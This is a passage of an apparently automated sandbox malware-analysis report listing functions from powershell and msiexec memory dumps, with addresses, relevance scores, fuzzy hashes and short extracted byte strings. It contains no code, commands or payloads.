Instruction ID: 12e2ed2c5dea8ca24f6686457b95d23287b8914da38fe1f1f4aefcdc6094fdaa
Opcode Fuzzy Hash: 164a125536d6f83a20170843be12e6589cfea2c9371de1c105fffcaddd4ea093
Instruction Fuzzy Hash: 593126F53342528BDB15DA248412B7ABBB2DFA2210F248A6ED502DF290EF79D951C361

Function 072C0FD0 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d84ceedb3768b329fdfcd7de3922afa13f8d142f59ac9cdd8fbe10f193d84f57
Instruction ID: 11faa00cb593af7ae2ec39ad486e80144182cacf8434868ba1c87085828708ef
Opcode Fuzzy Hash: d84ceedb3768b329fdfcd7de3922afa13f8d142f59ac9cdd8fbe10f193d84f57
Instruction Fuzzy Hash: D72187F132025A97EB24D6BA8812B3BB68ADBD5311F34C52D9D05CB382DD76C85083A0

Function 072C0FB4 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea4ce92e4b6d5b497c28474426b851bf8313f828a095fb6d4ee03150111dbdc5
Instruction ID: e16d467d3432e7941220c0be2134cc7bacb3b8bd497daeacf7d496c8d17ae24e
Opcode Fuzzy Hash: ea4ce92e4b6d5b497c28474426b851bf8313f828a095fb6d4ee03150111dbdc5
Instruction Fuzzy Hash: 112179F53283CAABEB208A758811B367BA5DF92310F38855AD940DF2C3D96A8940C371

Function 08D5148E Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2049128195.0000000008D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 422a138a48664063bab8db8ebb644827c23d653940b9d62b2aa6f4f5d6bccf52
Instruction ID: 21213975bbad6bf77de80765127d9703c4ae9e5492e7e74cbbd23a8b13d1be47
Opcode Fuzzy Hash: 422a138a48664063bab8db8ebb644827c23d653940b9d62b2aa6f4f5d6bccf52
Instruction Fuzzy Hash: BB213B31A00519DFCF05CB9CC894AAEB7B2FF88365B248659E916E7394C735EC52CB90

Function 08D5146D Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2049128195.0000000008D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d8469e853a907def0dfcdd0cf47bb31cbda9ed5acb84c05bc3f85fae9dcda20
Instruction ID: f7c354152d4edf2dd4b706db4c4d85fa00834f23f6416d559bb852ba4ba82e1d
Opcode Fuzzy Hash: 9d8469e853a907def0dfcdd0cf47bb31cbda9ed5acb84c05bc3f85fae9dcda20
Instruction Fuzzy Hash: 12216F75A00119DFCF05CA9CC890ABEB7B2FF89354B248659D916E73A0C736EC52CB50

Function 00B0F343 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2039795604.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c837a722a62dca897b8353bef7eb572a5012b0ea2a20885a79e8488b46da780
Instruction ID: 5ed64b37120275b5736004940faec44fd4a22a54eef574e477c96111ef7443f4
Opcode Fuzzy Hash: 0c837a722a62dca897b8353bef7eb572a5012b0ea2a20885a79e8488b46da780
Instruction Fuzzy Hash: DA21AE76504240DFDB16CF10D5C0B26BFB2FB84314F24C5A9DD094A656C33AD85ACB51

Function 00B0D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2039795604.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d040eeb6f88efe593e20d3d4b9c2af0b9889f2dbcad628dee7d2e01e1e11334
Instruction ID: 7c093fdb728b4778d36977ee02cd3b5e32da9db30c6c612fbec226e0081f4bdc
Opcode Fuzzy Hash: 4d040eeb6f88efe593e20d3d4b9c2af0b9889f2dbcad628dee7d2e01e1e11334
Instruction Fuzzy Hash: 2A01A7715053409EE7208A56C9D4B67BFD8EF45324F18C599ED4D4F2C2E2799841C6B1

Function 00B0D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2039795604.0000000000B0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbba2015e95b33f8bb430141bcb207b344ce1a2f6e91236a74fba5641bf62ca2
Instruction ID: 243f2d7f284a39ad69c538bb1c5b3b14ce45cef81bb147083e88fb8db678c960
Opcode Fuzzy Hash: bbba2015e95b33f8bb430141bcb207b344ce1a2f6e91236a74fba5641bf62ca2
Instruction Fuzzy Hash: D2F0CD72404340AEEB208A1AC984B63FFD8EB51334F18C59AED8C4F2C6C2799840CAB1

Function 08D51EE2 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2049128195.0000000008D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ef015f8b8654187bf038f4825d6f28e507b807d68925cd8e85297225855ad2b
Instruction ID: 5157693851eed9c0395c047b8591a86dbd78e75b7f7717602d3353096238d20b
Opcode Fuzzy Hash: 9ef015f8b8654187bf038f4825d6f28e507b807d68925cd8e85297225855ad2b
Instruction Fuzzy Hash: 72F0F932A00509AFCF15DB88D9808ADFB76FF88320B248119E915A7260C7329D62DB50

Function 072C1CB6 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 784904ea483e79c8508aad581e49cf2bf8094df1b4b390170fe13513af199abb
Instruction ID: 247ce8bc36ffdfb923e156edaba84bcc6876ca9ea7452783fdf7376f121d6842
Opcode Fuzzy Hash: 784904ea483e79c8508aad581e49cf2bf8094df1b4b390170fe13513af199abb
Instruction Fuzzy Hash: 07A0127020010457C100C600C841801B350AB84204714C08854044F382DF63D8038740

Non-executed Functions

Function 072CC80A Relevance: 16.7, Strings: 13, Instructions: 471COMMON

Download Yara Rule

Strings

4'tq, xrefs: 072CCCFC
(fDl, xrefs: 072CCE35
-5k, xrefs: 072CCF67
(fDl, xrefs: 072CCB09
4'tq, xrefs: 072CCC58
(fDl, xrefs: 072CCDCF
tL6k, xrefs: 072CC923
x.5k, xrefs: 072CCF19
4'tq, xrefs: 072CCC42
tL6k, xrefs: 072CCA19
(fDl, xrefs: 072CC943
(fDl, xrefs: 072CCA39
4'tq, xrefs: 072CCCE6

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$4'tq$4'tq$4'tq$4'tq$tL6k$tL6k$x.5k$-5k
API String ID: 0-2731444297
Opcode ID: d7913742875d05a61beeb15ec9fa38a97e9dd6758f22ea813a7606b9843af999
Instruction ID: f847353a45ebd4bdeb6a49c173865b288e68bba42cdf012773319cdab78e0984
Opcode Fuzzy Hash: d7913742875d05a61beeb15ec9fa38a97e9dd6758f22ea813a7606b9843af999
Instruction Fuzzy Hash: 152240B4A102199FDB24DB64C950FDABBB2EF89304F208599D8096F751CB35EE81CF91

Function 072CFAE0 Relevance: 14.0, Strings: 11, Instructions: 234COMMON

Download Yara Rule

Strings

tPtq, xrefs: 072CFCE5
84Bl, xrefs: 072CFC87
d%zq, xrefs: 072CFD42
4'tq, xrefs: 072CFD83
84Bl, xrefs: 072CFC91
d%zq, xrefs: 072CFD0D
d%zq, xrefs: 072CFC9F
d%zq, xrefs: 072CFD03
$tq, xrefs: 072CFBC0
tPtq, xrefs: 072CFCD9
4'tq, xrefs: 072CFD77

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$84Bl$84Bl$d%zq$d%zq$d%zq$d%zq$tPtq$tPtq$$tq
API String ID: 0-2658049242
Opcode ID: 14937c8a16cfa64c81b89f3fbaa4a21be7c77f1e3813c3de0c636fb6165f2fd1
Instruction ID: 6bf60aa86459d069086a1586460d1379a8c0ebb1370adcb7cbf325412acf92d7
Opcode Fuzzy Hash: 14937c8a16cfa64c81b89f3fbaa4a21be7c77f1e3813c3de0c636fb6165f2fd1
Instruction Fuzzy Hash: 398108B2B242469FCB25CE68D910B6ABBA3EF98310F24865DDC019F254DB31DD41C7A1

Function 072C0840 Relevance: 11.5, Strings: 9, Instructions: 207COMMON

Download Yara Rule

Strings

$tq, xrefs: 072C0893
:l, xrefs: 072C0A9B
$tq, xrefs: 072C08BB
4'tq, xrefs: 072C0A55
4'tq, xrefs: 072C0A65
4'tq, xrefs: 072C08E0
:l, xrefs: 072C0AA9
4'tq, xrefs: 072C08D4
$tq, xrefs: 072C08AF

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$4'tq$4'tq$$tq$$tq$$tq$:l$:l
API String ID: 0-79853153
Opcode ID: 31aff7258d51d1ea15110684b553f28d5d9604aade91ee239a62c48e067280fd
Instruction ID: 34529472da826c87fbc844fe86eb3a5f852a849827961d31344cde9e0f692ba8
Opcode Fuzzy Hash: 31aff7258d51d1ea15110684b553f28d5d9604aade91ee239a62c48e067280fd
Instruction Fuzzy Hash: 456126F1724246DFDB35CAB98C1167ABBA2EFD2610F24826EDA45CB241DA31CD41C7A1

Function 072C7E88 Relevance: 8.9, Strings: 7, Instructions: 199COMMON

Download Yara Rule

Strings

$tq, xrefs: 072C8066
:l, xrefs: 072C809D
4'tq, xrefs: 072C7F32
:l, xrefs: 072C80AB
$tq, xrefs: 072C805A
$tq, xrefs: 072C802F
4'tq, xrefs: 072C7F3E

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq$$tq$:l$:l
API String ID: 0-148692931
Opcode ID: b5931f8ea55a966f9bb40665852661e9dd902203724020a04c01666b538bf0b2
Instruction ID: aa17c70321a1210a7916ea83d81f77fe11a38ab77ec974c06a3528fd27a2dffc
Opcode Fuzzy Hash: b5931f8ea55a966f9bb40665852661e9dd902203724020a04c01666b538bf0b2
Instruction Fuzzy Hash: 535126B17242478FDB26DA798801B66BBA6EFE2250F24C1AFD445CB351DA31C841CBA1

Function 072CB948 Relevance: 7.6, Strings: 6, Instructions: 105COMMON

Download Yara Rule

Strings

$tq, xrefs: 072CB97F
$tq, xrefs: 072CB9CF
$tq, xrefs: 072CB9EB
$tq, xrefs: 072CB9C3
$tq, xrefs: 072CB99B
$tq, xrefs: 072CB9DF

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-2574395493
Opcode ID: 38c772502282c118a704aec2442a10b77215173acd2d2c4443ce7f614b41f34a
Instruction ID: 47d8649bc2c1a5efa0b1371ae24d0c7b88576ff7f11dcb736050448a009475ed
Opcode Fuzzy Hash: 38c772502282c118a704aec2442a10b77215173acd2d2c4443ce7f614b41f34a
Instruction Fuzzy Hash: 47314DF27782578BDF26CABA5453276F7A1EFE2210B1882BFC8418B241DE31CA55C751

Function 072CFC26 Relevance: 7.6, Strings: 6, Instructions: 85COMMON

Download Yara Rule

Strings

84Bl, xrefs: 072CFC87
d%zq, xrefs: 072CFD0D
d%zq, xrefs: 072CFC9F
d%zq, xrefs: 072CFD03
tPtq, xrefs: 072CFCD9
4'tq, xrefs: 072CFD77

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$84Bl$d%zq$d%zq$d%zq$tPtq
API String ID: 0-2631978498
Opcode ID: 3e47c8d537d0bae70769bc752a33e7a52a8e7e27bc44a24c77fe1ae6ea08abc7
Instruction ID: 6f8873503afbb4d2d53f9dd29cabe774bfa7d58d0cfdb12ace98a6dcb886de78
Opcode Fuzzy Hash: 3e47c8d537d0bae70769bc752a33e7a52a8e7e27bc44a24c77fe1ae6ea08abc7
Instruction Fuzzy Hash: 76319EB6B201069FCB24CF58C940E69FBB3BB58720F298699EC05AB354D631DD01CBA0

Function 072C0538 Relevance: 6.4, Strings: 5, Instructions: 147COMMON

Download Yara Rule

Strings

$tq, xrefs: 072C05C4
$tq, xrefs: 072C0609
4'tq, xrefs: 072C0626
4'tq, xrefs: 072C0632
$tq, xrefs: 072C05FD

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq$$tq
API String ID: 0-2409360608
Opcode ID: 5b400b74850c2d4d2191c8be9fb04df4a7729e5cadb4f05641bc6526ff01be69
Instruction ID: ce76be15e1a453d56696575018f8ff94d4eac065297a980a43a8a1806af0e79c
Opcode Fuzzy Hash: 5b400b74850c2d4d2191c8be9fb04df4a7729e5cadb4f05641bc6526ff01be69
Instruction Fuzzy Hash: 044126B0B34246DFDB35DE388810AAABFA1AFD1250F24816ED505CF291EB35C941C7A1

Function 072C2608 Relevance: 6.4, Strings: 5, Instructions: 128COMMON

Download Yara Rule

Strings

4'tq, xrefs: 072C2702
$tq, xrefs: 072C26A4
4'tq, xrefs: 072C26F6
$tq, xrefs: 072C263F
$tq, xrefs: 072C2698

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq$$tq
API String ID: 0-2409360608
Opcode ID: c52044bbf5d48c7b0b3405b73e38abb75b3fd8e6598906dda22915060de74c6b
Instruction ID: 03d1e443b42fb911f7f13139ed4d0aa4964813572f5906931090795737de1c29
Opcode Fuzzy Hash: c52044bbf5d48c7b0b3405b73e38abb75b3fd8e6598906dda22915060de74c6b
Instruction Fuzzy Hash: 484116F6738207DBCB2ACA698441566F7E2FFA2220B34826EDC118B254DF35C955CB61

Function 072CB538 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

$tq, xrefs: 072CB6AE
$tq, xrefs: 072CB5B1
tPtq, xrefs: 072CB633
4'tq, xrefs: 072CB6E3
$tq, xrefs: 072CB595

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$tPtq$$tq$$tq$$tq
API String ID: 0-2731490204
Opcode ID: 123c865ec5672c6eaaa0531cacfb74c4dd8df946e1522b4379dd42a9f45f0b5f
Instruction ID: f5fbef4cda54c3de400faf78939616d49c2ad5807538fd75fa6c721d3aff66f4
Opcode Fuzzy Hash: 123c865ec5672c6eaaa0531cacfb74c4dd8df946e1522b4379dd42a9f45f0b5f
Instruction Fuzzy Hash: 0D3113F1A34206EBDF24CE59C542B66B7A2EF65360F28C26ED9155B291C772CC44CF50

Function 072CF3F0 Relevance: 5.5, Strings: 4, Instructions: 480COMMON

Download Yara Rule

Strings

(otq, xrefs: 072CF4E6
(otq, xrefs: 072CF819
(otq, xrefs: 072CF4D6
(otq, xrefs: 072CF829

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (otq$(otq$(otq$(otq
API String ID: 0-2682020920
Opcode ID: 76f141d2608067d4310d7b6285c59814e903e80d78261df509cf0a635d8620c9
Instruction ID: 73be4881029f0f14c29e8f5f97abf61d381fafda2e0fe6f0a6115d9c0fe3a264
Opcode Fuzzy Hash: 76f141d2608067d4310d7b6285c59814e903e80d78261df509cf0a635d8620c9
Instruction Fuzzy Hash: 75F137B2724346DFDB25CF68C900BAABBA3EF91311F24826EE5158F291DB31C941C760

Function 072C2ED0 Relevance: 5.3, Strings: 4, Instructions: 283COMMON

Download Yara Rule

Strings

tPtq, xrefs: 072C300E
tPtq, xrefs: 072C3002
84Bl, xrefs: 072C2FAB
84Bl, xrefs: 072C2FB5

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 84Bl$84Bl$tPtq$tPtq
API String ID: 0-3828101118
Opcode ID: cf227e190196b010d83d1b252f99baf70282f6de8afb2ba0509e80633311f900
Instruction ID: 6d31de976dc9910b937a850cb211ca12e328f690cd7def5297fa86aeb06f9c93
Opcode Fuzzy Hash: cf227e190196b010d83d1b252f99baf70282f6de8afb2ba0509e80633311f900
Instruction Fuzzy Hash: 01915BB27242469FDB15CA798441B6ABBE6EF91310F24C96ED8059F282CB71CC01C7A2

Function 072C7BE8 Relevance: 5.1, Strings: 4, Instructions: 131COMMON

Download Yara Rule

Strings

,SDl, xrefs: 072C7C6D
p54k, xrefs: 072C7C5F
,SDl, xrefs: 072C7C79
xSDl, xrefs: 072C7C3B

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: ,SDl$,SDl$p54k$xSDl
API String ID: 0-2332382759
Opcode ID: 7a21b7abc73597253eadce85644e933ad44085035c439f485a7d51b0532822e9
Instruction ID: 966bf4027b05cd7cf083311f5de749d4da41662c78b2c491f4da1902c2dc2ca8
Opcode Fuzzy Hash: 7a21b7abc73597253eadce85644e933ad44085035c439f485a7d51b0532822e9
Instruction Fuzzy Hash: C64146B1B242479FCB21DB788401B6ABFE29FA6720F14C1AED545CB381DA75C940CBA1

Function 072C9D18 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$tq, xrefs: 072C9D46
$tq, xrefs: 072C9D74
$tq, xrefs: 072C9D80
$tq, xrefs: 072C9D2A

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq
API String ID: 0-173548568
Opcode ID: 6547154ce7c59f5cd4c32fb7531dcef9888d4d8602ad6a66a4599610d3360a53
Instruction ID: 2c51bc994fb4ec68e31c19d4c121ae648618f710b6bb0da305d3b394fc86f2b8
Opcode Fuzzy Hash: 6547154ce7c59f5cd4c32fb7531dcef9888d4d8602ad6a66a4599610d3360a53
Instruction Fuzzy Hash: D2217CB133420757DB34A57E8804B27B6A6DBD1310F20813E9885EB389DD75E8808361

Function 072C0308 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

$tq, xrefs: 072C0352
4'tq, xrefs: 072C0373
$tq, xrefs: 072C035E
4'tq, xrefs: 072C037F

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq
API String ID: 0-3085001694
Opcode ID: c5bde58e297467a9b717bf14948bc06143eb19352d313b58327dfdb1e7b3b556
Instruction ID: 0bac4ae0cf9a0af10a25b0f3ef8cf83a7837f05093af4acc408b62b9cbf4cbaf
Opcode Fuzzy Hash: c5bde58e297467a9b717bf14948bc06143eb19352d313b58327dfdb1e7b3b556
Instruction Fuzzy Hash: 6401B1A162D786DFCB3B92785C201196FB25B9354472942DBC581CF2A6CA254D45C363

Analysis Process: msiexec.exePID: 7860, Parent PID: 7372COMMON

Executed Functions

Function 21F64A58 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

9ZBw, xrefs: 21F64A77
9ZBw, xrefs: 21F64A97

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID: 9ZBw$9ZBw
API String ID: 0-2980677777
Opcode ID: 07072f877d887654476b697b37257f23d648d8942e2d3e89f16ba5a3bd72af3c
Instruction ID: 37e4ece276bde2dc8f3421750f6d3bee923426ba1e23cee4ddae25522d427a9d
Opcode Fuzzy Hash: 07072f877d887654476b697b37257f23d648d8942e2d3e89f16ba5a3bd72af3c
Instruction Fuzzy Hash: 0FB16BB0E00249DFDB14DFA9C89179DBFF6AF89314F148529D834A7298EB769841CB81

Function 21F68CA0 Relevance: .6, Instructions: 626COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b5d22736a583ac84cd31910118854e3e2318139e8401b2f47b480dd6b50e358
Instruction ID: 32eaaef377518ba33129a3b1544e323c25ade9944f4903572c526181bc685804
Opcode Fuzzy Hash: 3b5d22736a583ac84cd31910118854e3e2318139e8401b2f47b480dd6b50e358
Instruction Fuzzy Hash: 1132AF70A00245DFDB09DF68C484A9DBBB6FF89310F208569E929EB392DB35DD41CB90

Function 21F64A4E Relevance: 2.8, Strings: 2, Instructions: 259COMMON

Download Yara Rule

Strings

9ZBw, xrefs: 21F64A77
9ZBw, xrefs: 21F64A97

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID: 9ZBw$9ZBw
API String ID: 0-2980677777
Opcode ID: 4543839470c3e1d32cccdd776f8fa5ee31c8594320083f59b2d50522014fc0ee
Instruction ID: 9b8f6b43967ed69b1822d32200e5f96f0f23a55e3e326412dd8b9cd7de305793
Opcode Fuzzy Hash: 4543839470c3e1d32cccdd776f8fa5ee31c8594320083f59b2d50522014fc0ee
Instruction Fuzzy Hash: C3B17CB0E00249DFDB04DFA8C89179DBFF6BF49314F148529D834A7298EB769845CB81

Function 21F66E97 Relevance: 2.6, Strings: 2, Instructions: 148COMMON

Download Yara Rule

Strings

LRtq, xrefs: 21F66FBD
LRtq, xrefs: 21F66ECE

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID: LRtq$LRtq
API String ID: 0-4146025373
Opcode ID: f9e41087f669cadea1b27301cbbd1b63760454775d4ce895bd93b88b8cd78d3f
Instruction ID: 2b19a56ab63df3c9e16cdd815fcffa1f639fa5debbe03f0e69fe21a2ea9579ab
Opcode Fuzzy Hash: f9e41087f669cadea1b27301cbbd1b63760454775d4ce895bd93b88b8cd78d3f
Instruction Fuzzy Hash: D4514670E00299DFDB05CF75C45078EBBB6EF86310F10856AE425EB292EB769946CB81

Function 21F6ECED Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

PHtq, xrefs: 21F6EE3B

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID: PHtq
API String ID: 0-4170314142
Opcode ID: 43ef6b487acff409eaeb59a50029e397d54c1389b42ebd1612cf035010481ab5
Instruction ID: 81636736481451147ae4095b178f2d1e86f05269aa7f87eb16a5dded229dfd3b
Opcode Fuzzy Hash: 43ef6b487acff409eaeb59a50029e397d54c1389b42ebd1612cf035010481ab5
Instruction Fuzzy Hash: 91311F32B002019FDB0AAF34C52469E7BB7AB99200F244878D426DB386EE36CD46C790

Function 21F6ED00 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PHtq, xrefs: 21F6EE3B

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID: PHtq
API String ID: 0-4170314142
Opcode ID: 84c070678520f25b968ba6810e80e703bb72ae8902212a9ed7da6b1ab1555029
Instruction ID: 696d966a27723bf0f3a8ec8193b3e571a67565173fbeddf85bcabafd94534f49
Opcode Fuzzy Hash: 84c070678520f25b968ba6810e80e703bb72ae8902212a9ed7da6b1ab1555029
Instruction Fuzzy Hash: E3310432B002059FDB099B38C56479E7BB7AB99600F20483DD416DB386EF36DD46CB95

Function 21F66F38 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

LRtq, xrefs: 21F66FBD

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID: LRtq
API String ID: 0-4092542751
Opcode ID: 1d270d98bff42ccefdb6d7e5b04a07d29371c19e28428b6c77251566d5921fe6
Instruction ID: 5eeb578493ce401d62c954d791a1da5faa91f431f1b5e3f42baa956d27c3a95f
Opcode Fuzzy Hash: 1d270d98bff42ccefdb6d7e5b04a07d29371c19e28428b6c77251566d5921fe6
Instruction Fuzzy Hash: 8D319270E10259DBDB15CFA5C540B8EBBBAFF85310F50852AF425EB241E776E946CB80

Function 21F626A8 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

9ZBw, xrefs: 21F626D0

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID: 9ZBw
API String ID: 0-3244427849
Opcode ID: 1e0d88d64f314d2a657caea18de61b38a53eb26a146b4812afdb471bf6952104
Instruction ID: 595394ea5037182bcf3e4c118f92322ee33a848f1ccb34ea5553e6315932d339
Opcode Fuzzy Hash: 1e0d88d64f314d2a657caea18de61b38a53eb26a146b4812afdb471bf6952104
Instruction Fuzzy Hash: 2941D1B0D00249DFDB10CFA9C580ADEBFF9EF58314F108429E829AB254DB79A945CB90

